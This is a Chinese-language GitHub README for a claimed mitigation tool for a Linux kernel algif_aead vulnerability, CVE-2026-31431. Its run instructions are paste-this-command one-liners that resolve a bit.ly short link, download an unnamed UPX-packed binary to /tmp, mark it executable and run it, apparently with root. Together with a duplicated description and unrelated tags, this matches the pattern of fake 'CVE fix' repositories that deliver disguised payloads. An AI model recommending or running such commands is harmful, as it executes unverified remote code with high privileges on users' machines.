attaattaatta/CVE-2026-31431
GitHub: attaattaatta/CVE-2026-31431
针对 Linux 内核 algif_aead 模块 CVE-2026-31431 漏洞的检测与多层级缓解工具,支持一键部署临时防护。
Stars: 0 | Forks: 0
# CVE-2026-31431 缓解措施 (algif_aead)
## 描述
该工具用于检查是否存在 **CVE-2026-31431** 漏洞,并在具备 root 权限时应用缓解措施:
- 禁用 `algif_aead`
- 通过 `modprobe` 阻止模块加载
- 添加 `initcall_blacklist=algif_aead_init`
- 通过 systemd 限制 `AF_ALG`
## 说明
该工具用于检查是否存在 **CVE-2026-31431** 漏洞并应用缓解措施(需要 root 权限):
- 禁用 `algif_aead`
- 通过 `modprobe` 阻止模块加载
- 添加 `initcall_blacklist=algif_aead_init`
- 通过 systemd 限制 `AF_ALG`
## 在 Linux 上运行
```
b="/tmp/cve_2026_31431_hotfix"; wget -qO $b $(wget -qO- https://bit.ly/4elJXcG | grep browser_download_url | grep -v .exe | cut -d '"' -f 4) && chmod +x $b && $b
```
或者
```
b="/tmp/cve_2026_31431_hotfix"; curl -fsSL "$(curl -fsSL https://bit.ly/4elJXcG | grep browser_download_url | grep -v .exe | cut -d '"' -f 4)" -o $b && chmod +x $b && $b
```
## 在 Linux 上构建
```
docker run --rm -v "$PWD":/app -w /app golang:alpine sh -c "apk add --no-cache upx && go build -ldflags='-s -w' -o cve_2026_31431_hotfix cve_2026_31431_hotfix.go && upx --best --ultra-brute cve_2026_31431_hotfix"
```
标签:AF_ALG, algif_aead, CVE-2026-31431, DevSecOps, EVTX分析, Golang, Hotfix, modprobe, Root权限, systemd, Web报告查看器, 上游代理, 内核漏洞, 安全渗透, 安全缓解, 安全编程, 日志审计, 漏洞修复, 漏洞缓解措施, 系统加固, 网络安全, 网络安全培训, 补丁, 请求拦截, 隐私保护